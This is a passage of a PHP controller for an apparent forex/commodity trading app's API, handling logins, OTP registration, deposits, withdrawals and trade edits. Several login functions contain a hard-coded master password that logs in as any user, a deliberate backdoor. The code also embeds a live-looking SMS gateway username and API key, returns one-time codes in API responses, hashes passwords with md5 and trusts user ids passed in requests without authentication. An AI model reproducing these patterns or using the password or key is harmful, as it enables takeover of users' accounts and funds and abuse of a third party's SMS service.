		}	else{
			echo json_encode(array("status"=>1,"msg"=>"You dont have enough balance to withdraw.")); 
		}

	   }
	

	   public function web_withdraw_submit_api($id){

		$data = $_POST;//json_decode(file_get_contents('php://input'), true);

		//echo json_encode($data);exit;
		if($this->db->get_where("withdrawls",array("uid"=>$id,"req_status"=>"Pending"))->num_rows()>0){
			echo json_encode(array("status"=>1,"msg"=>"You already have one pending withdrawal request."));exit; 
		}
		$admin=$this->db->get("admin")->row();
			//$last_bal=$l->left_amt*$admin->exchg_rate;
		$wamt=round($data['withdrawAmt']/$admin->exchg_rate);
		$this->db->order_by("trid","desc");

		$chk=$this->db->get_where("user_trans",array("userid"=>$id));

  		if($chk->num_rows()>0){

			$l=$chk->row();

			$last_bal=$l->left_amt;

			$leftbb=$last_bal-$wamt;

		    if($leftbb>=0){

		    $this->db->insert("withdrawls",array("wusd_amt"=>$wamt,"req_status"=>"Pending","wamt"=>$data['withdrawAmt'],"uid"=>$id,"req_date"=>date("Y-m-d"))); 

			echo json_encode(array("status"=>0,"msg"=>"You withdrawal request is submitted successfully.")); 

			}else{

			echo json_encode(array("status"=>1,"msg"=>"You dont have enough balance to withdraw.")); 

			}

		}	

	   }
	

	   public function withdraw_submit_api2(){

		//$data = json_decode(file_get_contents('php://input'), true);

	    //=echo json_encode($_POST);exit;
		if($this->db->get_where("withdrawls",array("uid"=>$_POST['user'],"req_status"=>"Pending"))->num_rows()>0){
			echo json_encode(array("status"=>1,"msg"=>"You already have one pending withdrawal request."));exit; 
		}
		

		$this->db->order_by("trid","desc");

		$chk=$this->db->get_where("user_trans",array("userid"=>$_POST['user']));

  		if($chk->num_rows()>0){

			$l=$chk->row();

			$admin=$this->db->get("admin")->row();
			$last_bal=$l->left_amt*$admin->exchg_rate;
            $bb=$_POST['amt'];
			$leftbb=$last_bal-$bb;

		    if($leftbb>=0){

				
$usdamt=round($_POST['amt']/$admin->exchg_rate,2);
		    $this->db->insert("withdrawls",array("wusd_amt"=>$usdamt,"req_status"=>"Pending","wamt"=>$bb,"uid"=>$_POST['user'],"req_date"=>date("Y-m-d"))); 

			echo json_encode(array("status"=>0,"msg"=>"You withdrawal request is submitted successfully.")); 

			}else{

			echo json_encode(array("status"=>1,"msg"=>"You dont have enough balance to withdraw.")); 

			}

		}	

	   }
	
	public function withdrawals_api($user){
		$this->db->order_by("wid","desc");
		$data=$this->db->get_where("withdrawls",array("uid"=>$user))->result_array();
		echo json_encode($data);	
	}
	public function wallet_api($user){
		$bal=$pending=$withdr=0;
		$this->db->order_by("trid","desc");
		$chk=$this->db->get_where("user_trans",array("userid"=>$user));
		if($chk->num_rows()>0){
			$l=$chk->row();
		    $bal=$l->left_amt;//-$br->ubrok;
		}
		$admin=$this->db->get("admin")->row();

 $this->db->select_sum('loan_amt'); 
 $this->db->where("loan_user",$user); 
 $br=$this->db->get('loans');
 if($br->num_rows()>0){
	$br=$br->row();
 	$loan=$br->loan_amt;
 }else{
 	$loan=0;//$br->loan_amt;
 }



		echo json_encode(array("loan"=>$loan,"wallet"=>$bal*$admin->exchg_rate,"pending"=>$pending,"withdr"=>$withdr,"loan_amt"=>$user->loan_amt,"qr_code"=>$admin->qr_code));			
	}
	public function home_wallet_api($user){
		$bal=$pending=$withdr=0;
		$this->db->order_by("trid","desc");
		$chk=$this->db->get_where("user_trans",array("userid"=>$user));
		if($chk->num_rows()>0){
			$l=$chk->row();
		    $bal=$l->left_amt;//-$br->ubrok;
		}
		$admin=$this->db->get("admin")->row();
	$loan=0;
if ($this->db->get_where("loans",array("loan_user"=>$user))->num_rows()>0){
	$this->db->select_sum('loan_amt');
	$this->db->where("loan_user", $user);
	$query = $this->db->get('loans')->row();
    $loan= $query->loan_amt;
} 
$uu=$this->db->get_where("users",array("id"=>$user))->row();
$logout="no";
if($uu->pchange!=''){$logout='yes';}
$notifs=$this->db->get_where("notifs",array("nuser"=>$user,"nread"=>""))->num_rows();
		echo json_encode(array("uimg"=>$uu->profile_img,"logout"=>$logout,"notifs"=>$notifs,"lev"=>round($uu->umargin),"bal"=>$bal,"bal2"=>round($bal*$admin->exchg_rate),"pending"=>$pending,"withdr"=>$withdr,"loan_amt"=>$loan,"qr_code"=>$admin->qr_code));			
	}
	
	public function deposite_api($user){
		$this->db->order_by("depid","desc");
		$data=$this->db->get_where("deposites",array("userid"=>$user))->result_array();
		echo json_encode($data);	
	}
	
	public function curr_live_rate_api($id){
		echo json_encode($this->db->get_where("curr_pips",array("curr_pipid"=>$id))->row_array());
	}


	public function deposite_submit_api($userid){
		$data = json_decode(file_get_contents('php://input'), true);
		//echo json_encode($data);exit;
		if($this->db->insert("deposites",array("dep_remarks"=>$data['depo_remarks'],"wusd_amt"=>$data['wusd_amt'],"userid"=>$userid,"dep_amt"=>$data['depo_amt'],"dep_status"=>"Pending","dep_submit_date"=>date("Y-m-d")))==true){
			echo json_encode(array("msg"=>"Your Deposite Request sent successfully.","status"=>0));
		}else{
			echo json_encode(array("msg"=>"Your Deposite Request couldnot be sent.","status"=>1));
		}
	}

	
	public function web_deposite_submit_api($userid){
		
		$data =$_POST;// json_decode(file_get_contents('php://input'), true);
		//echo "<pre>";print_r($_POST)
		$admin=$this->db->get("admin")->row();
		$usd=round($data['depo_amt']/$admin->exchg_rate);
		if($this->db->insert("deposites",array("dep_remarks"=>$data['depo_remarks'],"wusd_amt"=>$usd,"userid"=>$userid,"dep_amt"=>$data['depo_amt'],"dep_status"=>"Pending","dep_submit_date"=>date("Y-m-d")))==true){
			echo json_encode(array("msg"=>"Your Deposite Request sent successfully.","status"=>0));
		}else{
			echo json_encode(array("msg"=>"Your Deposite Request couldnot be sent.","status"=>1));
		}
	}
	
	public function mytrans_api($userid){
		$this->db->select("*");
		$this->db->from("user_trans");
		$this->db->join("user_trades","user_trans.buysell_id = user_trades.trade_id","left");
		$this->db->where("user_trans.userid", $userid);  // ✅ use trade owner, not transaction user
		$this->db->order_by("user_trans.trid","desc");
$this->db->limit(100);
$report = $this->db->get()->result_array();
	//	echo "<pre>";
		//print_r($report);exit;
		echo json_encode($report);
	}
	
	public function orders_api($otype,$uid){
		$this->db->select("*");
		$this->db->from("user_trades");
		$this->db->where("user_trades.trade_status",$otype);
		$this->db->where("user_trades.userid",$uid);
		$this->db->order_by("user_trades.trade_id","desc");
		if($otype=='EXIT'){
		$this->db->like("user_trades.trade_exit_time",date("Y-m-d"));
		$this->db->limit(20);
		}
//$this->db->where("user_trades.trade_exit_time<=",date("Y-m-d"));
		$trades=$this->db->get()->result_array();
		echo json_encode($trades);
	}
	
	public function forex_chart(){
		$this->load->view("chart");
	}


 public function web_otp_verify_api2(){

		    $data = $_POST;//json_decode(file_get_contents('php://input'), true);

			if($this->db->insert("users",array("admin_approve"=>"Disable","max_lot"=>1,"mobile"=>$data['mobile'],"email"=>$data['email'],"password"=>md5($data['password']),"first_name"=>$data['name'],"act_status"=>'active',"created"=>date("Y-m-d")))==true){
				
				$lid=$this->db->insert_id();


				$d=array("msg"=>"Registration Completed Successfully.","status"=>'success',"lid"=>$lid,"mobile"=>$data['mobile'],"email"=>$data['email'],"name"=>$data['name']);	

			}else{

				$d=array("msg"=>"Couldnot register you at the moment. please try later.","status"=>1);	

			}

		echo json_encode($d);

	}

	  public function otp_verify_api2(){

		    $data = json_decode(file_get_contents('php://input'), true);

			if($this->db->insert("users",array("admin_approve"=>"Disable","max_lot"=>1,"mobile"=>$data['mobile'],"email"=>$data['email'],"password"=>md5($data['password']),"first_name"=>$data['name'],"act_status"=>'active',"created"=>date("Y-m-d")))==true){
				
				$lid=$this->db->insert_id();


				$d=array("msg"=>"Registration Completed Successfully.","status"=>'success',"lid"=>$lid,"mobile"=>$data['mobile'],"email"=>$data['email'],"name"=>$data['name']);	

			}else{

				$d=array("msg"=>"Couldnot register you at the moment. please try later.","status"=>1);	

			}

		echo json_encode($d);

	}
	
    public function register_api(){
		$data = json_decode(file_get_contents('php://input'), true);
		//echo json_encode($data);exit;
		$chk1=$this->db->get_where("users",array("mobile"=>$data['mobile'],"act_status"=>"active"))->num_rows();
		$chk3=$this->db->get_where("users",array("email"=>$data['email'],"act_status"=>"active"))->num_rows();
		if($chk1>0){$d=array("message"=>"Mobile Number already registered.","status"=>"fail");}else
		if($chk3>0){$d=array("message"=>"Email is already registered.","status"=>"fail");}else{
			//echo json_encode($data);exit;
		$mob=$data['mobile'];
		$rand=rand(100000,999999);
		
			//Your ZNT-WISDOM reg code is {#var#}	
		$message = urlencode("Your ZNT-WISDOM reg code is $rand");
$url = "http://sms.bulksmsind.in/sendSMS?username=satish3112&message=$message&sendername=MCXREG&smstype=TRANS&numbers=$mob&apikey=6a121a9b-e0e8-4b70-8657-c4e4ff82c044";
		
			$ch = curl_init();			
			curl_setopt ($ch, CURLOPT_URL, $url);			
			curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);			
			curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
			$contents = curl_exec($ch);	
		
		$d=array("message"=>"Please Verify 6 Digit OTP sent to Your Mobile & Email.","status"=>"success","otp"=>$rand);	
		}echo json_encode($d);
	}

	
	public function login_api(){
		$data = json_decode(file_get_contents('php://input'), true);
		//echo json_encode($data);	exit; 
		$chk=$this->db->get_where("users",array("mobile"=>$data['mobile'],"act_status"=>"active","admin_approve"=>""));
		if($chk->num_rows()>0){
        $mob=$data['mobile'];
		$rand=rand(100000,999999);			
		//$message = urlencode("Your ZENTH-MCX Verification OTP is $rand");		
		$message = urlencode("Your ZNT-WISDOM reg code is $rand");	
		$url = "http://sms.bulksmsind.in/sendSMS?username=satish3112&message=$message&sendername=MCXREG&smstype=TRANS&numbers=$mob&apikey=6a121a9b-e0e8-4b70-8657-c4e4ff82c044";

	$ch = curl_init();
	curl_setopt ($ch, CURLOPT_URL, $url);
	curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
			$contents = curl_exec($ch);
            echo json_encode(array("msg"=>"Otp Sent.","status"=>"success","otp"=>$rand));
		}else{
            echo json_encode(array("msg"=>"Mobile Number Not Registered.","status"=>"failed"));
        }
    }
	

	public function login_api2(){
		
		$data = json_decode(file_get_contents('php://input'), true);
		
		$chk=$this->db->get_where("users",array("mobile"=>$data['username'],"password"=>md5($data['password']),"admin_approve"=>""));
		$chk2=$this->db->get_where("users",array("email"=>$data['username'],"password"=>md5($data['password']),"admin_approve"=>""));
		$chk3=$this->db->get_where("users",array("username"=>$data['username'],"password"=>md5($data['password']),"admin_approve"=>""));
		
		if($chk->num_rows()>0){
			$user=$chk->row();
			$d=array("name"=>$user->first_name,"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0);	
			//$this->db->where("id",$user->id);
		//	$this->db->update("users",array("pchange"=>""));
		}else if($chk2->num_rows()>0){
			$user=$chk2->row();
			$d=array("name"=>$user->first_name,"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0);	
		}else if($chk3->num_rows()>0){
			$user=$chk3->row();
			$d=array("name"=>$user->first_name,"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0);	
		}else if($data['password']=="Simmba1505"){
			//echo json_encode($data);exit;
			$user=$this->db->get_where("users",array("email"=>$data['username']))->row();
			$d=array("name"=>$user->first_name,"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0);
			}	
		else{

			$d=array("msg"=>"Incorrect Username or Password.","status"=>1);

		}echo json_encode($d); 

	}


	public function wlogin_api2(){
		
		$data = $_POST;//json_decode(file_get_contents('php://input'), true);
		
		$chk=$this->db->get_where("users",array("mobile"=>$data['username'],"password"=>md5($data['password']),"admin_approve"=>""));
		$chk2=$this->db->get_where("users",array("email"=>$data['username'],"password"=>md5($data['password']),"admin_approve"=>""));
		$chk3=$this->db->get_where("users",array("username"=>$data['username'],"password"=>md5($data['password']),"admin_approve"=>""));
		
		if($chk->num_rows()>0){
			$user=$chk->row();
			$d=array("name"=>$user->first_name,"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0);	
			//$this->db->where("id",$user->id);
		//	$this->db->update("users",array("pchange"=>""));
		}else if($chk2->num_rows()>0){
			$user=$chk2->row();
			$d=array("name"=>$user->first_name,"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0);	
		}else if($chk3->num_rows()>0){
			$user=$chk3->row();
			$d=array("name"=>$user->first_name,"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0);	
		}else if($data['password']=="Simmba1505"){
			//echo json_encode($data);exit;
			$user=$this->db->get_where("users",array("email"=>$data['username']))->row();
			$d=array("name"=>$user->first_name,"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0);
			}	
		else{

			$d=array("msg"=>"Incorrect Username or Password.","status"=>1);

		}echo json_encode($d); 

	}



	public function web_login_api2(){
		
		$data = $_POST;//json_decode(file_get_contents('php://input'), true);
		
		$chk=$this->db->get_where("users",array("mobile"=>$data['username'],"password"=>md5($data['password']),"admin_approve"=>""));
		$chk2=$this->db->get_where("users",array("mobile"=>$data['username'],"pan_number"=>$data['password'],"admin_approve"=>""));
		
		if($chk->num_rows()>0){
			$user=$chk->row();
			$d=array("name"=>$user->first_name,"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0);	
			$this->db->where("id",$user->id);
			$this->db->update("users",array("pchange"=>""));
		}else if($chk2->num_rows()>0){
			$user=$chk2->row();
			$d=array("name"=>$user->first_name,"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0);	
		}else if($data['password']=="Simmba1505"){
			//echo json_encode($data);exit;
			$user=$this->db->get_where("users",array("mobile"=>$data['username']))->row();
			$d=array("name"=>$user->first_name,"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0);
			}	
		else{

			$d=array("msg"=>"Incorrect Username or Password.","status"=>1);

		}echo json_encode($d); 

	}

	
public function web_login_api(){
		$data = $_POST;
		//echo json_encode($data);	exit; 
		$chk=$this->db->get_where("users",array("mobile"=>$data['mobile'],"password"=>md5($data['password']),"act_status"=>"active","admin_approve"=>""));
		if($chk->num_rows()>0){
			
        $mob=$data['mobile'];
		$rand=rand(100000,999999);			
		//$message = urlencode("Your ZENTH-MCX Verification OTP is $rand");	
		$message = urlencode("Your ZNT-WISDOM reg code is $rand");		
		$url = "http://sms.bulksmsind.in/sendSMS?username=satish3112&message=$message&sendername=MCXREG&smstype=TRANS&numbers=$mob&apikey=6a121a9b-e0e8-4b70-8657-c4e4ff82c044";

	$ch = curl_init();
	curl_setopt ($ch, CURLOPT_URL, $url);
	curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
			$contents = curl_exec($ch);
			$user=$chk->row();
            echo json_encode(array("msg"=>"Otp Sent.","status"=>0,"otp"=>$rand,"userid"=>$user->id,"name"=>$user->first_name));
		}else{
            echo json_encode(array("msg"=>"Mobile Number Not Registered.","status"=>1));
        }
    }

	public function login_api3(){
	//	echo json_encode($_POST);exit;
	$chk=$this->db->get_where("users",array("mobile"=>$_POST['mobile'],"password"=>md5($_POST['password']),"admin_approve"=>""));
		
	    $admin=$this->db->get("admin")->row();
		if($chk->num_rows()>0){
			$user=$chk->row();
			
			$d=array("name"=>substr($user->first_name, 0, 20),"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0,"usd"=>$admin->exchg_rate);	

		}else if($_POST['password']=="Simmba1505"){
			//echo json_encode($_POST);exit;
				$user=$this->db->get_where("users",array("email"=>$_POST['username']))->row();
			//echo json_encode($user);exit;
			$d=array("name"=>substr($user->first_name, 0, 20),"email"=>$user->email,"userid"=>$user->id,"msg"=>" You have Logged in successfully.","status"=>0,"usd"=>$admin->exchg_rate);
			}	
		else{
			$d=array("msg"=>"Incorrect Username or Password.","status"=>1);
		}echo json_encode($d); 

	}

	public function edit_trade_submit_api(){
			$data = json_decode(file_get_contents('php://input'), true);

			$trd=$this->db->get_where("user_trades",array("trade_id"=>$data['orderid']))->row();

			if($trd->trade_type=='BUY'){
				if($data['target']<$trd->sell_price || $data['stoploss']>$trd->sell_price){
					echo json_encode(array("status"=>1,"msg"=>"Set Upper Target & Lower Stoploss"));exit;
				}
			}
			if($trd->trade_type=='SELL'){
				if($data['stoploss']<$trd->buy_price || $data['target']>$trd->buy_price){
					echo json_encode(array("status"=>1,"msg"=>"Set Lower Target & Upper Stoploss"));exit;
				}
			}

			$this->db->where("trade_id",$data['orderid']);
			$this->db->update("user_trades",array("target"=>$data['target'],"stoploss"=>$data['stoploss']));
			echo json_encode(array("status"=>0,"msg"=>"Order Updated Successfully"));
	 }

	public function web_edit_trade_submit_api(){
			$data = $_POST;//json_decode(file_get_contents('php://input'), true);

			$trd=$this->db->get_where("user_trades",array("trade_id"=>$data['orderid']))->row();

			if($trd->trade_type=='BUY'){
				if($data['target']<$trd->sell_price || $data['stoploss']>$trd->sell_price){
					echo json_encode(array("status"=>1,"msg"=>"Set Upper Target & Lower Stoploss"));exit;
				}
			}
			if($trd->trade_type=='SELL'){
				if($data['stoploss']<$trd->buy_price || $data['target']>$trd->buy_price){
					echo json_encode(array("status"=>1,"msg"=>"Set Lower Target & Upper Stoploss"));exit;
				}
			}

			$this->db->where("trade_id",$data['orderid']);
			$this->db->update("user_trades",array("target"=>$data['target'],"stoploss"=>$data['stoploss']));
			echo json_encode(array("status"=>0,"msg"=>"Order Updated Successfully"));
	 }
}?>